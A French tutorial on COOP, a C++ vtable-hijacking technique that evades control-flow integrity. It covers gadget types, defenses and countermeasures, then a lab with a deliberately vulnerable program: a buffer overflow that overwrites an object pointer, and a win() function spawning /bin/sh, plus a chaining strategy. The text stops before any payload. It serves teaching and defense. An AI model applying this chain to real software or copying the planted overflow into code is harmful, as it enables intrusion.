01 - Introduction au COOP

Le Counterfeit Object-Oriented Programming (COOP) est une technique d'exploitation avancée publiée en 2015 par Luk Gaspard Schuster, Lucas Davi et Ahmad-Reza Sadeghi, présentée à l'IEEE Symposium on Security and Privacy. Elle représente une évolution majeure dans la famille des attaques dites de réutilisation de code.

Pourquoi le COOP a été inventé

Pour comprendre l'intérêt du COOP, il faut retracer l'histoire des défenses contre les vulnérabilités mémoire. Pendant longtemps, un attaquant pouvait injecter du code malveillant directement dans la mémoire d'un programme vulnérable et le faire exécuter. Des protections comme le NX/DEP ont mis fin à cette approche en rendant les zones mémoire soit exécutables, soit accessibles en écriture, jamais les deux simultanément.

La communauté offensive a répondu avec le Return-Oriented Programming (ROP) : plutôt que d'injecter du code, on réutilise des fragments de code légitime déjà présents dans le binaire, en les enchaînant via la pile. Les défenses ont alors évolué vers le Control-Flow Integrity (CFI), qui vérifie que les sauts indirects respectent un graphe de flux de contrôle préétabli. Face à CFI, les chaînes ROP échouent car elles appellent des adresses arbitraires au milieu de fonctions.

C'est précisément contre CFI que le COOP est né. L'idée centrale : utiliser les mécanismes internes du C++ (en particulier les appels de méthodes virtuelles via les vtables) pour construire une chaîne d'exécution qui respecte formellement CFI tout en réalisant des actions arbitraires.

En une phrase

Le COOP est l'équivalent du ROP pour le monde orienté objet. Au lieu de chaîner des gadgets assembleur, on chaîne des méthodes virtuelles C++ légitimes, contournant ainsi CFI en restant dans les cibles autorisées.

Dans quel contexte est-il utilisé ?

Le COOP cible principalement les applications C++ utilisant massivement le polymorphisme : navigateurs web (Chrome, Firefox, Internet Explorer), serveurs d'application, suites bureautiques, systèmes embarqués. Ces logiciels contiennent des milliers de méthodes virtuelles, offrant un vaste catalogue de gadgets potentiels. Les recherches initiales ont notamment ciblé Internet Explorer et Firefox pour démontrer la faisabilité de la technique.

02 - Prérequis : classes, objets et mémoire

Qu'est-ce qu'une classe ?

En programmation, une classe est un modèle, un plan de construction. Elle décrit la structure et le comportement d'une entité. Concrètement, une classe définit deux choses : des attributs (les données que l'entité possède) et des méthodes (les actions que l'entité peut effectuer).

Pensez à une classe comme à un moule à gâteaux. Le moule lui-même n'est pas un gâteau, mais il définit la forme que tous les gâteaux produits avec ce moule auront. Le moule, c'est la classe. Le gâteau, c'est l'objet.

classe.cpp
// Définition d'une classe Voiture
class Voiture {
public:
    int  vitesse;       // attribut : une donnée
    char couleur[16];  // attribut : une donnée

    void accelerer() {  // méthode : une action
        vitesse += 10;
    }
};

Qu'est-ce qu'un objet ?

Un objet est une instance concrète d'une classe. C'est le gâteau créé à partir du moule. Lorsqu'on écrit Voiture maVoiture; en C++, on crée un objet de type Voiture. Cet objet occupe un espace réel en mémoire : il stocke ses propres valeurs pour vitesse et couleur.

On peut créer autant d'objets que l'on veut à partir d'une même classe. Chaque objet a ses propres données, mais tous partagent les mêmes méthodes (le code des méthodes n'est stocké qu'une seule fois en mémoire, pas dans chaque objet).

Classe vs objets en mémoire
class Voiture (le moule)
int vitesse ← attribut
char couleur[16] ← attribut
void accelerer() ← méthode (code partagé)
voiture1 (objet A)
vitesse = 120
couleur = "verte"
→ code partagé
voiture2 (objet B)
vitesse = 0
couleur = "rouge"
→ code partagé
Chaque objet a ses propres données en mémoire, tandis que le code des méthodes n'est stocké qu'une seule fois.

L'héritage et le polymorphisme

Le C++ permet à une classe de dériver d'une autre. Une classe Chien peut hériter de la classe Animal : elle récupère tous les attributs et méthodes d'Animal, et peut en ajouter ou en redéfinir. C'est l'héritage.

Le polymorphisme est la capacité d'un même code à traiter des objets de types différents de façon uniforme. Si on a un pointeur de type Animal* qui pointe vers un objet Chien, et qu'on appelle animal->parler(), c'est bien la méthode de Chien qui est appelée, pas celle d'Animal. C'est le mécanisme virtuel qui rend cela possible.

heritage.cpp
class Animal {
public:
    virtual void parler() { /* ... */ }   // méthode virtuelle
};

class Chien : public Animal {
public:
    virtual void parler() override {      // redéfinition
        /* Woof! */
    }
};

Le mot-clé virtual indique au compilateur que cette méthode peut être redéfinie par une classe dérivée, et que le choix de la bonne version doit être fait à l'exécution, pas à la compilation. C'est cette résolution à l'exécution qui nécessite un mécanisme spécial : la vtable.

Comment un objet est représenté en mémoire

Lorsqu'une classe contient au moins une méthode virtuelle, le compilateur insère automatiquement un champ caché au début de chaque objet : le vptr (virtual pointer). Ce pointeur, invisible dans le code source, est placé à l'offset 0 de l'objet et pointe vers la vtable de sa classe. Le reste de l'objet contient ses attributs normaux.

Structure mémoire d'un objet avec méthodes virtuelles (architecture 64 bits)
offset +0x00
vptr (8 octets, caché)
offset +0x08
attribut 1
offset +0x10
attribut 2
offset +0x18
attribut 3

Le vptr est inséré par le compilateur. Il n'est pas visible dans le code source. Il occupe toujours les 8 premiers octets d'un objet avec méthodes virtuelles en 64 bits.

Pourquoi cela intéresse un attaquant

Si un attaquant peut modifier la valeur du vptr d'un objet (en exploitant un débordement de buffer sur le tas, un use-after-free, ou tout autre accès mémoire hors-limites), il contrôle quelle adresse sera appelée lors du prochain dispatch virtuel. C'est le point d'entrée fondamental du COOP.

Point important

Dans ROP, on écrase l'adresse de retour sur la pile. Dans COOP, on écrase le vptr d'un objet sur le tas. Le vecteur est différent, ce qui explique en partie pourquoi certaines protections ciblant la pile ne s'appliquent pas.

03 - Les vtables en détail

Comment le compilateur génère les vtables

Lorsque le compilateur C++ rencontre une classe avec des méthodes virtuelles, il crée une structure de données appelée vtable (virtual dispatch table). Cette vtable est générée une seule fois par classe concrète, placée dans le segment en lecture seule du binaire (.rodata), et partagée entre toutes les instances de cette classe.

Concrètement, une vtable est un simple tableau de pointeurs de fonctions. L'ordre des entrées correspond à l'ordre de déclaration des méthodes virtuelles dans la hiérarchie de classes. Chaque entrée contient l'adresse de l'implémentation concrète de la méthode correspondante pour cette classe.

Entrée vtablevtable de Animalvtable de Chienvtable de Chat
vtable[0]&Animal::parler&Chien::parler (override)&Chat::parler (override)
vtable[1]&Animal::bouger&Animal::bouger (hérité)&Chat::bouger (override)
vtable[2]&Animal::mourir&Animal::mourir (hérité)&Animal::mourir (hérité)

Comment un objet référence sa vtable

Au moment de la construction d'un objet (dans son constructeur), le compilateur insère automatiquement une instruction qui écrit l'adresse de la vtable appropriée dans le champ vptr de l'objet. Ce code est invisible dans le source mais bien présent dans le binaire compilé. Voici ce que le compilateur génère conceptuellement pour un constructeur :

constructeur - généré par le compilateur
Chien::Chien() {
    // Code inséré automatiquement par le compilateur :
    this->vptr = &vtable_Chien;   // ← invisible dans le source

    // Code normal du constructeur...
}

Ainsi, dès qu'un objet est créé, son vptr est immédiatement initialisé. Tous les objets de type Chien auront le même vptr pointant vers la même vtable, mais chacun aura ses propres attributs.

Comment fonctionne un appel virtuel

Lorsque le code source contient animal->parler()animal est un pointeur de type Animal*, le compilateur ne peut pas savoir à la compilation quelle implémentation appeler (l'objet réel pourrait être un Chien ou un Chat). Il génère donc un appel indirect en plusieurs étapes :

1
Charger le vptr de l'objet
Le processeur lit les 8 premiers octets de l'objet pointé par animal. C'est l'adresse de la vtable.
2
Indexer la vtable
Le processeur calcule l'adresse de l'entrée correspondant à la méthode parler() dans la vtable (par exemple, offset 0 si c'est la première méthode virtuelle).
3
Charger l'adresse de la fonction
Le processeur lit l'adresse de la fonction stockée à cet offset dans la vtable.
4
Sauter à cette adresse
Le processeur exécute un saut indirect vers l'adresse obtenue, en passant le pointeur de l'objet comme premier argument (this).

En assembleur x86-64, cette séquence ressemble à :

dispatch virtuel - assembleur x86-64
; rdi = pointeur vers l'objet (this)
mov rax, [rdi]          ; charge le vptr (8 octets à offset 0 de l'objet)
                         ; rax contient maintenant l'adresse de la vtable

call [rax + 0x00]       ; charge vtable[0] et saute à cette adresse
                         ; pour la première méthode virtuelle (index 0)

Si on voulait appeler la deuxième méthode virtuelle (index 1), ce serait call [rax + 0x08] (chaque entrée fait 8 octets en 64 bits). La troisième méthode serait à [rax + 0x10], et ainsi de suite.

Comment le processeur résout une fonction virtuelle à l'exécution

Reprenons l'exemple avec un objet Chien pointé par un Animal*. Voici ce qui se passe réellement lorsque animal->parler() est exécuté :

Résolution complète d'un appel virtuel à l'exécution
étape 1
animal = 0x55f3c0 (adresse de l'objet Chien sur le tas)
étape 2
mov rax, [0x55f3c0] → rax = 0x403e20 (adresse de la vtable de Chien dans .rodata)
étape 3
mov rax, [0x403e20 + 0] → rax = 0x401234 (adresse de Chien::parler)
étape 4
call 0x401234 → Chien::parler() s'exécute. Correct !

Ce mécanisme est élégant et efficace, mais il repose entièrement sur la confiance que le vptr est valide et intègre. Si l'attaquant parvient à modifier ce pointeur, toute la mécanique de résolution lui obéit.

Pourquoi ces mécanismes deviennent intéressants pour un attaquant

La vtable est en .rodata (lecture seule) : on ne peut pas la modifier directement. Mais le vptr, lui, est dans l'objet, sur le tas (heap), une zone en lecture-écriture. Si un attaquant peut écrire dans un objet C++ sur le tas (via un buffer overflow, un use-after-free, etc.), il peut remplacer le vptr par une adresse de son choix. C'est l'essence du vtable hijacking, la technique sous-jacente au COOP.

Dès lors, le prochain appel de méthode virtuelle sur cet objet ne lira plus la vraie vtable de la classe, mais la fausse vtable construite par l'attaquant. Celui-ci contrôle donc quelle adresse est appelée, tout en passant par le mécanisme de dispatch virtuel standard du compilateur.

L'insight clé

CFI surveille les appels indirects mais accepte tout appel qui cible une vraie méthode virtuelle. Si l'attaquant pointe vers de vraies méthodes (mais dans un ordre et avec des données qu'il contrôle), CFI ne voit rien d'anormal. C'est précisément ce que COOP exploite.

04 - COOP : définition, origine et objectifs

Le problème que CFI posait au ROP

CFI est une famille de mécanismes qui, lors des appels indirects (via un pointeur de fonction ou un vptr), vérifie que la cible de l'appel est bien une cible légitime selon un graphe de flux de contrôle. CFI coarse-grained accepte toute fonction dont la signature correspond ; CFI fine-grained vérifie que l'appel correspond précisément à un site d'appel valide. Face à CFI, les chaînes ROP échouent car elles appellent des adresses arbitraires au milieu de fonctions.

L'insight central du COOP

Les appels de méthodes virtuelles sont par nature des appels indirects, mais ils sont tous légitimes du point de vue de CFI puisqu'ils ciblent des méthodes réelles du programme. Si l'on peut construire une chaîne d'appels de méthodes virtuelles qui, ensemble, réalisent un calcul arbitraire, on obtient un bypass de CFI complet.

Principe fondamental

Dans COOP, chaque appel est légitime individuellement. C'est leur composition qui est malveillante. CFI ne peut pas détecter cette forme d'attaque sans une analyse sémantique du comportement de la chaîne.

Terminologie : les "counterfeit objects"

Le terme "counterfeit" (contrefait) désigne des objets C++ construits artificiellement par l'attaquant dans les zones mémoire qu'il contrôle. Ces objets ne sont pas de vraies instances de classe puisqu'ils n'ont pas été alloués via new, mais ils ressemblent à des objets légitimes : ils possèdent un vptr valide pointant vers une vraie vtable, et leurs champs de données sont soigneusement contrôlés. Quand le code légitime appelle une méthode virtuelle sur l'un de ces objets contrefaits, il exécute une vraie méthode, mais avec des données sous le contrôle de l'attaquant.

Condition d'applicabilité

1
Une vulnérabilité d'écriture mémoire
Une vulnérabilité permettant d'écrire des données arbitraires dans des zones mémoire du processus (heap overflow, use-after-free, out-of-bounds write).
2
Contrôle d'un pointeur d'objet
La capacité d'écraser le vptr d'un objet existant, ou de placer un objet contrefait à une adresse qui sera utilisée comme pointeur.
3
Des gadgets COOP disponibles
L'existence de méthodes virtuelles dans le binaire formant des gadgets COOP utilisables, ce qui est quasi-systématique dans tout programme C++ non trivial.
4
La connaissance des adresses
La connaissance (ou la déduction) des adresses mémoire pertinentes, facilitée par l'absence d'ASLR ou par une fuite d'adresse préalable.

05 - Les gadgets COOP

Par analogie avec le ROP, un gadget COOP est une méthode virtuelle dont le comportement peut être utilisé dans le cadre d'une exploitation. Les auteurs de la recherche initiale ont défini plusieurs catégories de gadgets, selon leur rôle dans la chaîne d'exploitation.

Main-loop gadget (ou vfDispatch)

C'est le gadget le plus important. Il sert à itérer sur une collection d'objets et à appeler une méthode virtuelle sur chacun d'eux. C'est lui qui fournit la boucle de dispatch, c'est-à-dire le mécanisme qui permettra d'appeler séquentiellement tous les autres gadgets. Sans main-loop gadget, on ne peut pas construire de chaîne COOP longue.

main-loop gadget - exemple conceptuel
// Exemple conceptuel d'un main-loop gadget
void Container::processAll() {
    for (auto* obj : this->items) {
        obj->doAction();  // appel virtuel sur chaque objet de la liste
    }
}

L'attaquant contrôle la liste items : il y place ses objets contrefaits dans l'ordre souhaité. À chaque itération, une méthode virtuelle est appelée sur l'objet courant, activant le gadget correspondant.

Forward gadget (ou vfDispatchSingle)

Un forward gadget délègue simplement l'appel à un autre objet, en appelant une méthode virtuelle sur un pointeur qu'il contient. Il permet de propager le flux de contrôle d'un objet contrefait à un autre, même en dehors de la boucle principale.

forward gadget - vfDispatchSingle
// Forward gadget : délègue le dispatch vers un autre objet via un pointeur interne
class Forwarder : public Base {
public:
    Base* next;              // pointeur vers l'objet suivant dans la chaîne

    virtual void action() override {
        if (this->next)
            this->next->action();  // appel virtuel sur l'objet suivant
                                    // → dispatch via vptr de next
    }
};

// L'attaquant contrôle le champ `next` de l'objet contrefait.
// Il peut ainsi propager le flux de contrôle vers n'importe quel
// gadget COOP de son choix, en dehors de toute boucle principale.

Cela crée des chaînes linéaires : objet A appelle objet B qui appelle objet C, sans avoir besoin d'un main-loop gadget.

Load / Store gadget

Ces gadgets permettent de lire ou d'écrire en mémoire à des adresses arbitraires. Un load gadget lit une valeur depuis une adresse dérivée des champs de l'objet, et un store gadget y écrit. Ils permettent à l'attaquant de préparer des données, de lire des valeurs du processus, ou d'écrire dans des zones importantes (comme un pointeur de fonction).

load / store gadget
// Load gadget : lit une valeur depuis une adresse dérivée des champs de l'objet
class Loader : public Base {
public:
    void** src;    // adresse source (contrôlée par l'attaquant)
    void** dst;    // adresse de destination

    virtual void action() override {
        *this->dst = *this->src;  // load : *dst ← *src
    }
};

// Store gadget : écrit une valeur à une adresse dérivée des champs de l'objet
class Storer : public Base {
public:
    void** target;  // adresse cible (contrôlée par l'attaquant)
    void*  value;   // valeur à écrire

    virtual void action() override {
        *this->target = this->value;  // store : *target ← value
    }
};

// Usage typique : préparer un argument (ex. chaîne "/bin/sh")
// avant un gadget invoke qui appelle system().

Gadget arithmétique

Ces gadgets effectuent des opérations arithmétiques ou logiques sur des champs de l'objet. Ils permettent de calculer des adresses, d'incrémenter des compteurs, de dériver des valeurs. Bien que moins courants sous cette forme pure, ils sont souvent présents dans du code C++ complexe (calculs sur des index, offsets, masques).

gadget arithmétique
// Gadget arithmétique : effectue une opération sur les champs de l'objet
class Adder : public Base {
public:
    uint64_t* target;  // adresse de la variable à modifier
    uint64_t  delta;   // valeur à additionner (contrôlée par l'attaquant)

    virtual void action() override {
        *this->target += this->delta;  // *target ← *target + delta
    }
};

// Cas d'usage : calculer l'adresse d'une fonction (ASLR base + offset),
// incrémenter un index, appliquer un masque.
// Souvent présent dans du code manipulant des conteneurs STL,
// des matrices, ou des moteurs de calcul.

Invoke gadget (appel de fonction)

L'invoke gadget est le gadget "terminal" : il appelle une fonction dont le pointeur est stocké dans un champ de l'objet. C'est lui qui permet d'exécuter une action finale arbitraire, telle qu'appeler system(), execve(), ou toute autre fonction dont l'attaquant a pu placer l'adresse dans l'objet contrefait.

gadgets forward et invoke - exemples conceptuels
// Forward gadget : délègue le flux vers l'objet suivant
void Forward::trigger() {
    if (this->next != nullptr)
        this->next->trigger();  // dispatch vers l'objet suivant
}

// Invoke / Execute gadget
void Execute::trigger() {
    func();  // appel du pointeur de fonction stocké dans l'objet
}
Nuance

Tous les programmes C++ n'ont pas nécessairement un main-loop gadget "parfait". Dans ce cas, l'attaquant peut se contenter de chaînes linéaires via des forward gadgets, ou chercher d'autres patterns de dispatch.

06 - Mécanisme d'exploitation

Vue d'ensemble de la chaîne

Écriture mémoire Objet contrefait vptr hijack Dispatch virtuel Gadget 1 Gadget 2 Invoke final

Étape 1 : identifier la vulnérabilité et la zone contrôlable

L'attaquant commence par identifier une vulnérabilité qui lui permet d'écrire des données arbitraires dans la mémoire du processus. Il doit également identifier une zone mémoire dont il contrôle le contenu et dont l'adresse est connue ou calculable.

Étape 2 : construire les objets contrefaits

Dans la zone mémoire contrôlée, l'attaquant construit manuellement une ou plusieurs structures qui ressemblent à des objets C++ légitimes. Chaque objet contrefait commence par un vptr pointant vers la vtable d'une classe réelle du programme. Les champs suivants sont positionnés pour que la méthode ciblée se comporte comme le gadget souhaité.

Construction d'un objet contrefait en mémoire contrôlée
+0x00
vptr → vtable_ForwardClass
+0x08
next → objet_contrefait_2
+0x10
vptr → vtable_ExecuteClass
+0x18
func → system()

Étape 3 : détournement du vptr

L'attaquant exploite la vulnérabilité pour écraser le vptr d'un objet légitime utilisé par le programme par l'adresse de son premier objet contrefait. Dès que le programme appelle une méthode virtuelle sur cet objet, le dispatch se fait via la vtable contrefaite.

Étape 4 : exécution de la chaîne

Le programme appelle une méthode virtuelle sur l'objet corrompu. Le dispatch virtuel charge le vptr contrefait, indexe la vtable d'une classe réelle, et appelle la méthode correspondante, laquelle se trouve être un gadget COOP. Ce gadget lit ses champs (contrôlés par l'attaquant) et appelle une méthode virtuelle sur le prochain objet de la chaîne. La chaîne se propage jusqu'au gadget final qui exécute l'action souhaitée.

Pourquoi CFI ne détecte pas cela ?

À chaque étape, l'appel respecte les contraintes de CFI : un appel via un vptr cible bien une méthode virtuelle réelle. CFI coarse-grained vérifie uniquement que la signature de la méthode correspond, ce qui est vrai. CFI fine-grained plus strict peut vérifier que le type de l'objet est cohérent, mais les implémentations réelles laissent encore des marges. La technique reste un défi actif pour les designers de CFI.

07 - Avantages et limites du COOP

TechniqueCibleBypass NX/DEPBypass CFIComplexité
ret2libcAdresse de retourOuiNonFaible
ROPPile (ret addr)OuiNonMoyenne
JOPPointeurs de fonctionOuiPartielÉlevée
COOPvptr (tas)OuiOui (coarse)Très élevée

Comparaison avec les mécanismes de défense

DéfenseCe qu'elle protègeCOOPRaison
DEP / NX Empêche l'exécution de code dans les zones de données Contourne COOP n'injecte aucun code. Tout le code exécuté est légitime et déjà dans le segment exécutable.
ASLR Randomise les adresses de base du heap, stack et des bibliothèques Partiel ASLR complique COOP car les adresses vtables sont inconnues. Contournable avec une fuite d'adresse ou sur les binaires non-PIE.
Stack Canaries Détecte les écrasements de l'adresse de retour sur la pile Contourne COOP écrase le vptr sur le tas, pas la pile. Les canaries ne surveillent pas le tas.
CFI (coarse) Vérifie que les appels indirects ciblent des fonctions de signature compatible Contourne COOP appelle uniquement de vraies méthodes virtuelles dont la signature est conforme. CFI coarse ne distingue pas un appel légitime d'un gadget COOP.
CFI (fine-grained) Vérifie que chaque appel indirect cible une fonction valide pour ce site d'appel précis Partiel CFI fin peut vérifier que le type de l'objet correspond au type attendu au site d'appel. Cela complique COOP mais ne l'élimine pas toujours.
CFG (Control Flow Guard) Implémentation Microsoft de CFI coarse-grained (bitmap de fonctions valides) Contourne COOP utilisant de vraies méthodes, elles sont toutes dans le bitmap autorisé.
VTGuard Protège l'intégrité des vtables avec un cookie secret (MSVC) Partiel VTGuard insère un cookie dans la vtable. Si l'attaquant ne peut pas lire ce cookie (sans fuite), il ne peut pas construire de fausses vtables valides. Avec une fuite, VTGuard est contournable.
Intel CET Shadow stack (ret) et IBT (instruction ENDBR64 obligatoire) Partiel CET IBT exige que les cibles d'appels indirects soient marquées avec une instruction ENDBR64. Les vraies méthodes virtuelles le sont. COOP reste fonctionnel si les gadgets ciblés ont ENDBR64.
Shadow Stack Copie sécurisée des adresses de retour, distincte de la pile normale Contourne COOP ne manipule pas les adresses de retour. Il fonctionne via des appels (call), pas des sauts sur la pile. La shadow stack ne surveille pas les appels.

Les impacts sur la recherche en sécurité offensive et défensive

Du côté offensif, COOP a montré que CFI, longtemps considéré comme une protection solide, peut être contourné de façon systématique sur les applications C++. Cela a motivé le développement d'outils automatiques de recherche de gadgets COOP dans les binaires, et des travaux sur des variantes (COP, JOP fine-grained, etc.).

Du côté défensif, COOP a accéléré la recherche sur la vérification fine des types d'objets lors des dispatches virtuels (SafeDispatch, TypeArmor, VTrust), et sur l'isolation des données sensibles comme les vptrs. Il a également motivé des extensions matérielles comme Intel CET qui, si elles ne bloquent pas COOP complètement, réduisent significativement la surface d'attaque en combinaison avec d'autres protections.

La leçon fondamentale

COOP a démontré que la sécurité par réutilisation de code ne peut pas être résolue par un seul mécanisme. La défense en profondeur reste la seule approche viable.

08 - Contre-mesures et protections

Face à COOP et aux techniques de vtable hijacking en général, la communauté de recherche en sécurité a développé plusieurs familles de protections. Voici les principales, de la moins à la plus rigoureuse.

CFI avancé (Control-Flow Integrity fine-grained)

CFI Compilateur LLVM Clang -fsanitize=cfi-vcall Source requis

Le CFI avancé affine la vérification des appels indirects en utilisant des informations de type : au site d'appel obj->method(), on vérifie non seulement que la cible est une méthode valide, mais qu'elle appartient bien au type de obj ou à un sous-type compatible. Cela réduit considérablement le nombre de méthodes acceptables à chaque site d'appel, réduisant la surface d'attaque COOP. Les implémentations incluent LLVM CFI (Clang), qui utilise les informations RTTI pour valider les types à l'exécution.

Vtable Verification (VTV) et Virtual Table Integrity (VTI)

VTV Compilateur GCC -fvtable-verify Source requis

VTV (GCC) insère, avant chaque appel de méthode virtuelle, une vérification que le vptr pointe vers une vtable d'un type compatible avec le type de l'objet. Un ensemble de vtables valides pour chaque site d'appel est calculé à la compilation. À l'exécution, si le vptr ne fait pas partie de cet ensemble, le programme est terminé. Cela empêche directement le vtable hijacking : un vptr écrasé avec une adresse inconnue sera rejeté. VTI fonctionne similairement avec une approche basée sur un ensemble d'empreintes de vtables légitimes.

VTGuard (Microsoft MSVC)

VTGuard Compilateur MSVC /guard:cf Cookie secret Probabiliste

VTGuard insère un cookie secret (valeur aléatoire calculée à la compilation et au démarrage) dans chaque vtable. Avant d'utiliser un vptr, le code vérifie que le cookie présent dans la vtable pointée est bien valide. Un attaquant qui écrase le vptr avec une fausse adresse doit également fournir le bon cookie, qu'il ne connaît pas sans une fuite d'information préalable. C'est une protection probabiliste : efficace si le cookie reste secret, contournable si une fuite existe.

SafeDispatch

Analyse statique Compilateur CFI fin par site d'appel Source requis

SafeDispatch est une technique de recherche qui analyse statiquement le programme pour déterminer, pour chaque site d'appel virtuel, l'ensemble exact des implémentations qui peuvent légitimement être appelées. À l'exécution, une vérification de type est insérée pour s'assurer que le vptr pointe vers une vtable dans cet ensemble. Par rapport à VTV, SafeDispatch est plus précis : il réduit davantage l'ensemble des cibles valides, limitant les gadgets utilisables dans COOP.

TypeArmor

Analyse binaire Post-compilation Sans code source Inférence de types

TypeArmor est une approche qui opère directement sur les binaires compilés (sans code source). Il analyse le binaire pour inférer les types des appels indirects, et limite à l'exécution le nombre de fonctions qu'un pointeur donné peut appeler. Contrairement aux protections basées sur le source, TypeArmor peut être appliqué à des logiciels tiers dont on n'a pas le code. Il réduit significativement la surface des gadgets COOP utilisables.

CPI (Code Pointer Integrity)

Région mémoire isolée Compilateur Support matériel conseillé Protège vptrs + ret addr

CPI protège tous les pointeurs de code (pointeurs de fonctions, vptrs, adresses de retour) en les plaçant dans une région mémoire séparée et sécurisée, inaccessible via des exploits ordinaires. Même en présence d'un buffer overflow sur le tas, l'attaquant ne peut pas accéder à la région CPI pour modifier les vptrs. C'est une protection très forte sur le papier, mais dont la robustesse dépend de l'isolation de la région sécurisée, ce qui reste un défi sur les architectures sans support matériel.

VTrust

Alignement vptrs Validation vtables Compilateur Léger vs SafeDispatch

VTrust combine deux techniques : une vérification de l'alignement des vptrs (les vtables sont alignées sur des frontières prévisibles) et une validation du contenu des vtables au moment de leur utilisation. VTrust est conçu pour être plus léger que SafeDispatch tout en offrant une protection contre COOP, en rejetant les vptrs qui ne pointent pas vers des vtables reconnues dans l'ensemble valide calculé à la compilation.

Intel CET (Control-flow Enforcement Technology)

Matériel Intel Tiger Lake+ Shadow Stack IBT / ENDBR64 COOP partiel

Intel CET introduit deux mécanismes matériels. La shadow stack maintient une copie séparée et protégée des adresses de retour, empêchant leur écrasement (protège contre ROP, pas directement contre COOP). L'Indirect Branch Tracking (IBT) exige que toute cible d'un saut ou appel indirect commence par une instruction spéciale endbr64. Cela complique la création de chaînes en réduisant les gadgets valides. Cependant, les vraies méthodes virtuelles C++ ont toutes endbr64, donc COOP pur reste fonctionnel face à IBT seul.

Autres protections récentes

ARM PAC Matériel Chiffrement vptrs PartitionAlloc Object Metadata Integrity

Des travaux récents explorent l'isolation des métadonnées d'objets (Object Metadata Integrity), le chiffrement des vptrs en mémoire (XOR avec une clé secrète, décryptage uniquement lors du dispatch), les approches basées sur la Pointer Authentication d'ARM (PAC) qui signe cryptographiquement chaque pointeur de code, et les techniques de sandboxing par type d'objet dans des allocateurs spécialisés. Aucune protection individuelle n'est suffisante contre un attaquant déterminé : c'est leur combinaison qui crée une défense solide.

Bonne pratique

La défense en profondeur reste la seule réponse complète : ASLR actif (PIE) + CFI fine-grained (-fsanitize=cfi-vcall) + allocateur sécurisé + Intel CET + sandboxing processus. Chaque couche réduit indépendamment la surface d'attaque.

09 - Lab pratique : analyse et exploitation

⚗ Exercice pratique
Cet exercice pratique est un programme C++ volontairement vulnérable, conçu pour illustrer concrètement les mécanismes de COOP étudiés dans les chapitres précédents. Il expose une chaîne d'exploitation avec deux types de gadgets ( Forward → Execute ) qui, une fois activés, permettent d'obtenir un shell. L'objectif pédagogique est de comprendre, étape par étape, comment chaque concept théorique se traduit en code et en payload réel.

Code source C++ complet

coop.cpp g++ -no-pie -fno-stack-protector -g coop.cpp -o coop
/*
  g++ -no-pie -fno-stack-protector -g coop.cpp -o coop
  -no-pie         : adresses fixes, pas d'ASLR (facilite l'exercice)
  -fno-stack-protector : supprime les canaries de pile
  -g              : conserve les symboles de debug
*/
#include <iostream>
#include <cstring>
#include <unistd.h>

void win() {
    system("/bin/sh");
}

class Gadget {
public:
    virtual void trigger() = 0;
};

class Forward : public Gadget {
public:
    Gadget* next;
    Forward(Gadget* n) : next(n) {}
    virtual void trigger() override {
        if (next) next->trigger();
    }
};

class Execute : public Gadget {
public:
    void (*func)();
    Execute(void (*f)()) : func(f) {}
    virtual void trigger() override {
        func();
    }
};

class Data {
public:
    char    buf[32];
    Gadget* gadget;
    Data() : gadget(nullptr) {
        memset(buf, 0, sizeof(buf));
    }
    virtual void process() {
        if (gadget) gadget->trigger();
    }
};

Data data;                      // adresse fixe (car -no-pie)
// Instances globales : forcent la génération des vtables
Forward dummyForward(nullptr);
Execute dummyExecute(nullptr);

int main() {
    setvbuf(stdout, nullptr, _IONBF, 0);
    setvbuf(stdin,  nullptr, _IONBF, 0);

    std::cout << "=== COOP Challenge (Forward & Execute) ===" << std::endl;
    std::cout << "Enter payload (max 128 bytes): ";

    char input[128];
    ssize_t n = read(0, input, sizeof(input));
    if (n > 0) {
        memcpy(data.buf, input, n);  // VULNÉRABILITÉ : 128 octets dans buf[32]
    }
    data.process();
    return 0;
}

Analyse des classes et de la structure mémoire

Classe Gadget : la base abstraite

Gadget est une classe abstraite pure : elle déclare trigger() avec = 0. On ne peut pas l'instancier directement, mais toutes les classes dérivées partagent cette interface. En mémoire, tout objet dérivé de Gadget aura un vptr à l'offset 0. La vtable ne contient qu'une seule entrée (trigger() à l'index 0), car Gadget n'a qu'une seule méthode virtuelle.

Classe Forward : le gadget de propagation

C'est un forward gadget au sens COOP : trigger() appelle next->trigger(). Si l'attaquant contrôle next, il contrôle vers quel objet la chaîne se propage.

Structure mémoire d'un objet Forward (16 octets)
offset +0x00
vptr → vtable de Forward (contient &Forward::trigger à l'entrée [0])
offset +0x08
next (Gadget*) → pointe vers le Gadget suivant dans la chaîne

Classe Execute : le gadget terminal

C'est un invoke gadget : trigger() appelle this->func(). Si l'attaquant place &win dans func, le shell est obtenu.

Structure mémoire d'un objet Execute (16 octets)
offset +0x00
vptr → vtable d'Execute (contient &Execute::trigger à l'entrée [0])
offset +0x08
func → pointeur de fonction à appeler. L'attaquant y place &win.

Classe Data : l'objet vulnérable

La variable globale data est l'objet utilisé directement par le programme. Compilée avec -no-pie, son adresse est fixe et lisible dans la table ELF. Elle contient buf[32] puis gadget qui sont adjacents en mémoire, ce qui rend l'overflow possible.

Rôle des instances globales dummyForward et dummyExecute

Ces deux lignes forcent le compilateur à générer et inclure les vtables de Forward et Execute dans le binaire final. Sans instance de ces classes, un compilateur agressif pourrait éliminer leurs vtables comme code mort. En créant des instances globales, on garantit que les symboles _ZN7Forward7triggerEv et _ZN7Execute7triggerEv sont présents dans la table ELF et résolubles par pwntools via elf.symbols[...].

Pourquoi les noms mangled ?

Le C++ encode les noms de fonctions selon l'ABI Itanium : _ZN7Forward7triggerEv signifie "dans le namespace Forward (7 lettres), la méthode trigger (7 lettres), sans argument (v = void)". C'est ce nom mangled que le linker et pwntools utilisent pour trouver l'adresse de la fonction.

Stratégie d'exploitation

L'objectif est de faire appeler win(). Le programme exécute data.process(), qui appelle data.gadget->trigger(). Il faut donc :

1
Écraser data.gadget
Via l'overflow, placer l'adresse de obj1 à l'offset 32 du payload (soit la position de data.gadget en mémoire).
2
Construire obj1 (fake Forward)
vptr → vtable1, next → obj2. Quand trigger() sera appelé, il propagera vers obj2.
3
Construire obj2 (fake Forward)
vptr → vtable2, next → obj3. Deuxième maillon de la chaîne.
4
Construire obj3 (fake Execute)
vptr → vtable3, func → &win. Le gadget terminal qui déclenche l'exécution.

Pourquoi des mini-vtables dans buf suffisent

La classe Gadget n'a qu'une seule méthode virtuelle (trigger()). Sa vtable ne contient donc qu'une seule entrée de 8 octets. Une "mini-vtable" valide se réduit à un unique pointeur de fonction. L'attaquant peut construire ces mini-vtables directement dans les premiers octets de buf :

Pourquoi 8 octets suffisent pour une vtable
vtable[0] (+0)
&Forward::trigger ← seule entrée nécessaire

